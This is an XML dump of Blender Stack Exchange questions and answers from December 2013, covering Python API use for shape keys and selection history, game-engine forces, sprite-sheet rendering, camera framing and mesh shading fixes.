  <row Id="5826" PostTypeId="2" ParentId="5785" CreationDate="2013-12-27T20:31:24.760" Score="2" Body="&lt;p&gt;The &lt;code&gt;____init____()&lt;/code&gt; function for BPY types (especially UI stuff) can be unpredictable and should not be used.  You likely want to be overloading the &lt;code&gt;draw()&lt;/code&gt; method instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.types.Panel.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.types.Panel.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="241" LastEditDate="2016-07-02T17:47:35.060" LastActivityDate="2016-07-02T17:47:35.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5827" PostTypeId="1" AcceptedAnswerId="5831" CreationDate="2013-12-27T22:01:24.293" Score="5" ViewCount="908" Body="&lt;p&gt;I've been messing around with this for a while and I can't seem to find the connection between fcurves and the specific shape key values they control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use something like the following: &#xA;&lt;code&gt;bpy.data.actions['KeyAction'].fcurves[0].data_path&lt;/code&gt;&#xA;to get:&lt;code&gt;'key_blocks[&quot;sitFix&quot;].value'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do I get the shape key list that &quot;sitFix&quot; is in?&#xA;&lt;code&gt;bpy.data.shape_keys['Key'].key_blocks[&quot;sitFix&quot;]&lt;/code&gt;&#xA;i.e. 'Key' in this instance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching by name doesn't look like it will work, as Blender allows different shape key blocks to use the same name within different shape key lists, so there's a 'sitFix' in both 'Key' and 'Key.001'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I'm trying to see which mesh is being affected by a particular fcurve, but here I've hit a break in the chain connecting them.&lt;/p&gt;&#xA;" OwnerUserId="1979" LastEditorUserId="599" LastEditDate="2013-12-27T22:08:55.110" LastActivityDate="2013-12-28T13:12:14.243" Title="Get Shape Key from Action or FCurve in Python?" Tags="&lt;python&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5828" PostTypeId="2" ParentId="5797" CreationDate="2013-12-27T22:05:48.877" Score="0" Body="&lt;p&gt;applyForce is only applicable to game objects.  Currently you are trying to apply force to a variable (vec) that you created.  Change the last line to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.applyForce(vec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this will apply the force to EVERY object in the scene, not just the ones nearby which I don't believe is the behavior you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I think you have a few issues with your script.  I made some modifications below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def _getForceMagnitude(distance, max_force, max_range):&#xA;    return (distance * (-max_force/max_range)) + max_force&#xA;&#xA;def repel():&#xA;&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    shield = cont.owner&#xA;&#xA;    #Create reference to near sensor&#xA;    near = shield.sensors[&quot;Near&quot;]&#xA;&#xA;    #Check if near sensor is positive&#xA;    if near.positive:&#xA;        #Get the object that triggered the near sensor&#xA;        obj = near.hitObject&#xA;        #Get the distance from the object to the shield&#xA;        dist = shield.getDistanceTo(obj)&#xA;&#xA;        vec = obj.worldPosition - shield.worldPosition&#xA;        vec.magnitude = _getForceMagnitude(dist, 10, 4)&#xA;        obj.applyForce(vec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure what the distance variable in the _getForceMagnitude represents so I put in the distance between the shield and the object that triggers the near sensor.  Hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="1740" LastActivityDate="2013-12-27T22:05:48.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5829" PostTypeId="1" AcceptedAnswerId="5830" CreationDate="2013-12-28T02:52:41.590" Score="3" ViewCount="7822" Body="&lt;p&gt;I've got a bunch of models, and I now want to export each of them as a sprite sheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I want to take multiple viewpoint renders of the models and save them out to a sprite sheet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I've managed to find to do this is to create an animation where I rotate the camera around the model, render the animation and then manually combine select frames from the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problematic because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes the animation tweening misses certain required frames (eg. cardinal directions), meaning I have to keyframe every frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can't seem to skip frames, so rendering animation takes ages, despite only need 32 frames of the entire thing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tweening cameras from control-alt-0 to jump camera to view results occasionally in camera path getting confused, which messes up a few frames as the camera spins (often the frames I actually need).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The model is lit, so multiple copies of the model rendered at once / rotating the model instead of the camera not an option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's rather problematic. I've been looking at trying to use a python script to automate this process, but I can't seem to get the render-to-file working as an operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know a better way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="1406" LastActivityDate="2013-12-28T07:50:40.173" Title="How can I export a blender model as a sprite sheet?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5830" PostTypeId="2" ParentId="5829" CreationDate="2013-12-28T07:45:30.130" Score="5" Body="&lt;p&gt;Here's a possible workaround without using a script:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty to the center of you scene (or the center of your object, where ever you want the camera to rotate around):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NtTpb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the camera to the empty (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DyDmI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the empty selected, insert a rotation keyframe for the Z axis on frame 1 by hovering over the value and pressing &lt;kbd&gt;I&lt;/kbd&gt; or right clicking and selecting &lt;em&gt;Insert Single Keyframe&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/07Fls.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On frame &lt;code&gt;33&lt;/code&gt; (one frame past frame &lt;code&gt;32&lt;/code&gt;), insert another rotation keyframe for the Z axis setting the Z rotation to &lt;code&gt;360&lt;/code&gt;, then set the scene &lt;em&gt;End&lt;/em&gt; frame to &lt;code&gt;32&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bfRiP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to the &lt;em&gt;graph editor&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9RBc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the graph editor, press &lt;kbd&gt;T&lt;/kbd&gt; and select &lt;em&gt;linear&lt;/em&gt; to remove the smooth interpolation of the keyframe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zkKuq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The empty will be rotated to exactly &lt;code&gt;90°&lt;/code&gt; on frame &lt;code&gt;9&lt;/code&gt;, &lt;code&gt;180°&lt;/code&gt; on frame &lt;code&gt;17&lt;/code&gt;, and &lt;code&gt;270°&lt;/code&gt; on frame &lt;code&gt;25&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fx8uV.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is an &lt;a href=&quot;http://www.pasteall.org/blend/25919&quot; rel=&quot;noreferrer&quot;&gt;example blendfile&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-28T07:50:40.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5831" PostTypeId="2" ParentId="5827" CreationDate="2013-12-28T13:12:14.243" Score="8" Body="&lt;p&gt;key_block names can be used for different shape key lists, which means same shape key name but different objects. Every object uses its own action, thus you need to use the action the object references (&lt;code&gt;Object.data.shape_keys.animation_data.action&lt;/code&gt;). See:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Cube&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Cube'].data.shape_keys.animation_data.action.fcurves[0].data_path&#xA;'key_blocks[&quot;Key 1&quot;].value'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Cube'].data.shape_keys.animation_data.action.fcurves[0].id_data&#xA;bpy.data.actions['KeyAction']&#xA;&#xA;&#xA;# Cube.001&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Cube.001'].data.shape_keys.animation_data.action.fcurves[0].data_path&#xA;'key_blocks[&quot;Key 1&quot;].value'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Cube.001'].data.shape_keys.animation_data.action.fcurves[0].id_data&#xA;bpy.data.actions['Key.001Action']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-12-28T13:12:14.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5832" PostTypeId="1" AcceptedAnswerId="5835" CreationDate="2013-12-28T13:34:59.153" Score="0" ViewCount="955" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Amtfd.png&quot; alt=&quot;http://oi42.tinypic.com/9awz8i.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my blend file: &lt;a href=&quot;https://drive.google.com/file/d/0ByScwSCTIaUGUVBzUTAzejdleDg/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0ByScwSCTIaUGUVBzUTAzejdleDg/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="5426" LastEditDate="2017-03-09T18:32:48.893" LastActivityDate="2017-03-09T18:32:48.893" Title="How to render the whole of image?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5833" PostTypeId="2" ParentId="5781" CreationDate="2013-12-28T13:54:14.597" Score="6" Body="&lt;p&gt;You may be interested into bmesh module's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bmesh.types.html#bmesh.types.BMesh.select_history&quot; rel=&quot;nofollow&quot;&gt;select_history&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;for elem in bm.select_history:&#xA;    print(repr(elem))&#xA;&#xA;# Variant 1 - get the active edge&#xA;try:&#xA;    active_edge = filter(lambda elem: isinstance(elem, bmesh.types.BMEdge), &#xA;        reversed(bm.select_history)).__next__()&#xA;except StopIteration:&#xA;    active_edge = None&#xA;&#xA;&#xA;# Variant 2 - same, but less geeky ;)&#xA;&#xA;for elem in reversed(bm.select_history):&#xA;    if isinstance(elem, bmesh.types.BMEdge):&#xA;        active_edge = elem&#xA;        break&#xA;else:&#xA;    active_edge = None&#xA;&#xA;&#xA;# Get selected faces in order&#xA;&#xA;for elem in bm.select_history:&#xA;    if isinstance(elem, bmesh.types.BMFace):&#xA;        print(repr(elem))&#xA;&#xA;&#xA;# Get all selected faces&#xA;# Note: bm.select_history lacks geometry selected via border select, lasso, etc.&#xA;#       (mass-selection operators)!&#xA;&#xA;for face in bm.faces:&#xA;    if face.select:&#xA;        print(repr(face))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="3710" LastEditDate="2015-03-09T09:46:01.043" LastActivityDate="2015-03-09T09:46:01.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5834" PostTypeId="1" AcceptedAnswerId="5886" CreationDate="2013-12-28T14:56:04.793" Score="3" ViewCount="763" Body="&lt;p&gt;I wanted to get the stretching and pulling out of the mesh with using the spin tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The curve tool got used first but the stretching in highly bended areas was way to much.&#xA;With spinning it seems to only spin the selected loop.&#xA;Toggling the duplicate mode on in the spin mode, it doesn´t close the gaps between the parts.&#xA;how can this get fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wq3Rz.png&quot; alt=&quot;spin mode usage on complex meshes problem&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/afg9A.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eib57.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bezier curve seems to ease the stretching but the optimal wished result in this case would be if there was a setting available to say that some parts of the mesh are stretchable and others are not.&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="12" LastEditDate="2013-12-31T00:04:51.533" LastActivityDate="2013-12-31T08:42:32.317" Title="Spin duplicate gives parts - how to spin a complex part of a pipe?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5835" PostTypeId="2" ParentId="5832" CreationDate="2013-12-28T15:59:31.267" Score="2" Body="&lt;p&gt;I would not do this in the compositor at all. You are giving yourself a lot of extra work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest solution is to place the camera at the correct place, giving you exactly the layout you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kzFbh.png&quot; alt=&quot;lock-camera-to-view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The border around the render region turns red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the options panel to the right (&lt;kbd&gt;N&lt;/kbd&gt;). Use the normal view control keyboard commands to rotate and pan the camera until you are satisfied. &lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-28T15:59:31.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5836" PostTypeId="1" AcceptedAnswerId="5837" CreationDate="2013-12-28T17:11:54.587" Score="1" ViewCount="427" Body="&lt;p&gt;My draw type is not on wireframe but all I see is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVZyd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.49b&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Link as requested &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/?u93956gqgss45pk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/?u93956gqgss45pk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1983" LastEditorUserId="1983" LastEditDate="2013-12-28T17:28:32.890" LastActivityDate="2013-12-28T17:41:34.700" Title="Draw type stuck on wireframe and no model when rendered" Tags="&lt;3d-view&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5837" PostTypeId="2" ParentId="5836" CreationDate="2013-12-28T17:41:34.700" Score="1" Body="&lt;p&gt;It's very hard to understand how your models managed to end up like this but the reason they appear like that and don't render is because they have no faces. Blender &lt;em&gt;won't&lt;/em&gt; render lone edges or vertices. &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and select &lt;code&gt;4&lt;/code&gt; vertices on any of the objects and press &lt;kbd&gt;F&lt;/kbd&gt; to create a face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend recreating the scene instead of trying to fill in the missing faces.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-28T17:41:34.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5838" PostTypeId="1" AcceptedAnswerId="5840" CreationDate="2013-12-28T18:07:43.490" Score="16" ViewCount="94503" Body="&lt;p&gt;The current issue is that I need more space to the right for my text, but scaling the camera to capture more of the area won't work. Why is this so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I wish to achieve: &lt;img src=&quot;https://i.stack.imgur.com/JSFmg.png&quot; alt=&quot;http://i.stack.imgur.com/JSFmg.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am stuck with scaling the camera:&lt;img src=&quot;https://i.stack.imgur.com/i3z0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(what is shown in red is what I wish to achieve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I capture more of the area? (I prefer not to do any compositing).&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="55" LastEditDate="2013-12-29T01:12:43.177" LastActivityDate="2020-02-02T06:54:58.817" Title="How to scale the cameras view bounds?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5839" PostTypeId="2" ParentId="5838" CreationDate="2013-12-28T19:14:40.200" Score="6" Body="&lt;p&gt;If there is a reason why you can't move the camera to get the detail rendered you want you could change the Focal Length in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;noreferrer&quot;&gt;Camera Properties&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLLwr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to change the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output&quot; rel=&quot;noreferrer&quot;&gt;Aspect Ratio&lt;/a&gt; note that changing these values will disort the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K8JRz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-28T19:14:40.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5840" PostTypeId="2" ParentId="5838" CreationDate="2013-12-28T20:36:39.847" Score="15" Body="&lt;p&gt;You can also change the &lt;em&gt;Resolution&lt;/em&gt; in &lt;kbd&gt;Render Settings&lt;/kbd&gt; &gt; &lt;kbd&gt;Dimensions&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9h4f5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9h4f5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this you probably want to increase the &lt;code&gt;X resolution&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Notice&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note that you can't scale the camera up by adjusting these values, you will need to move the camera and/or change the &lt;em&gt;Focal Length&lt;/em&gt; to zoom/scale the camera.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the &lt;em&gt;Focal Length&lt;/em&gt; in &lt;em&gt;Properties &gt; Camera &gt; Lens&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The easiest way to zoom in/out with the camera is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter &lt;em&gt;Camera view&lt;/em&gt; (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;) and select the camera&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to move the camera along the local Z axis.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By using a combination of the above techniques, you can place and scale the camera however you want.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="9590" LastEditDate="2016-11-28T08:03:47.597" LastActivityDate="2016-11-28T08:03:47.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5842" PostTypeId="1" AcceptedAnswerId="5847" CreationDate="2013-12-28T22:38:42.257" Score="3" ViewCount="512" Body="&lt;p&gt;So I'm having this problem with a cylinder. It has no cap ends and the insides don't show up in edit mode. I've already tried flipping and recalculating normals, it did not worked. I've tried creating another cylinder, but it didn't worked too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image: &lt;img src=&quot;https://i.stack.imgur.com/IVGpY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastEditorUserId="12" LastEditDate="2013-12-28T23:45:02.333" LastActivityDate="2013-12-28T23:45:02.333" Title="Cylinder with no cap ends invisible on the inside" Tags="&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5843" PostTypeId="2" ParentId="5834" CreationDate="2013-12-28T22:38:50.987" Score="2" Body="&lt;p&gt;This method dosn't use the spin tool, however it will produce a similar result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Create a mesh using only one segment of you pipe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WR62a.png&quot; alt=&quot;One pipe segment&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Add a curve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XxeYC.png&quot; alt=&quot;adding the curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Add a array modifier to the single segment, changing the fit type to a &quot;fit curve&quot; and select the curve made in step 2. Then ensure the relative offset is set on the correct axies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJ3Yr.png&quot; alt=&quot;array modifier settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4- Also to the single segment object add a curve modifier and make it target the same curve as the array modifier. Play around with the deformation axis until it looks as you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KGpGa.png&quot; alt=&quot;curve modifier settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5- You're done. Remember that you still can modify the curve shape, in order to shape the pipe how you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BGkl.png&quot; alt=&quot;Finished result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1479" LastActivityDate="2013-12-28T22:38:50.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5844" PostTypeId="1" AcceptedAnswerId="5846" CreationDate="2013-12-28T22:44:34.250" Score="6" ViewCount="1549" Body="&lt;p&gt;I have this model, and when I add the subdivision-modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EoXKL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems to be okay, for me (I guess those bumps are there, because of the triangle faces instead of quads):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xK6pn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I add the smooth-shading I'm having this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJOyr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is something really obvious -- but I just can't figure out the reason..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="12" LastEditDate="2014-05-17T18:50:01.060" LastActivityDate="2015-09-23T00:05:07.410" Title="Why subdivided faces with smooth shading acting weird?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5845" PostTypeId="1" AcceptedAnswerId="5868" CreationDate="2013-12-28T22:55:39.890" Score="18" ViewCount="5474" Body="&lt;p&gt;I was watching the &lt;a href=&quot;http://www.blenderguru.com/videos/create-a-realistic-earth/&quot;&gt;Create a Realistic Earth&lt;/a&gt; tutorial by Andrew Price and I was able to follow along in Cycles until I hit the part where he mixes the day and night materials together so that the lights show up on the &quot;dark side&quot; of the earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I recreate this effect in cycles? I thought I could use the ray information to tell me if there was incoming light but I've found no such node to give me this information.&lt;/p&gt;&#xA;" OwnerUserId="1805" LastActivityDate="2019-09-20T14:44:07.320" Title="How can I mix two materials based on incoming light" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5846" PostTypeId="2" ParentId="5844" CreationDate="2013-12-28T23:13:07.150" Score="5" Body="&lt;p&gt;The most likely reason for this is your object &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces#Normals&quot; rel=&quot;nofollow&quot;&gt;normals&lt;/a&gt; are facing the different directions at these edges. To fix, go into &lt;em&gt;Edit&lt;/em&gt; mode, select the mesh and recalculate normals with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;, Or you could manually select faces and flip the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can often confirm or investigate most most odd looking artifacts on your models by enabling a normal display type under &lt;em&gt;Mesh Display&lt;/em&gt; in the &lt;em&gt;Toolshelf&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;). On a clean model, depending on the use case, both the vertex and face normals should point outwards.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="55" LastEditDate="2013-12-29T02:01:27.470" LastActivityDate="2013-12-29T02:01:27.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5847" PostTypeId="2" ParentId="5842" CreationDate="2013-12-28T23:32:09.043" Score="3" Body="&lt;p&gt;This is because you have &lt;em&gt;Textured Solid&lt;/em&gt; ticked under &lt;em&gt;Display&lt;/em&gt; in the &lt;em&gt;Toolshelf&lt;/em&gt;. &lt;em&gt;You use this feature when you want to display face assigned textures while in solid view.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N8QPd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-28T23:38:16.740" LastActivityDate="2013-12-28T23:38:16.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
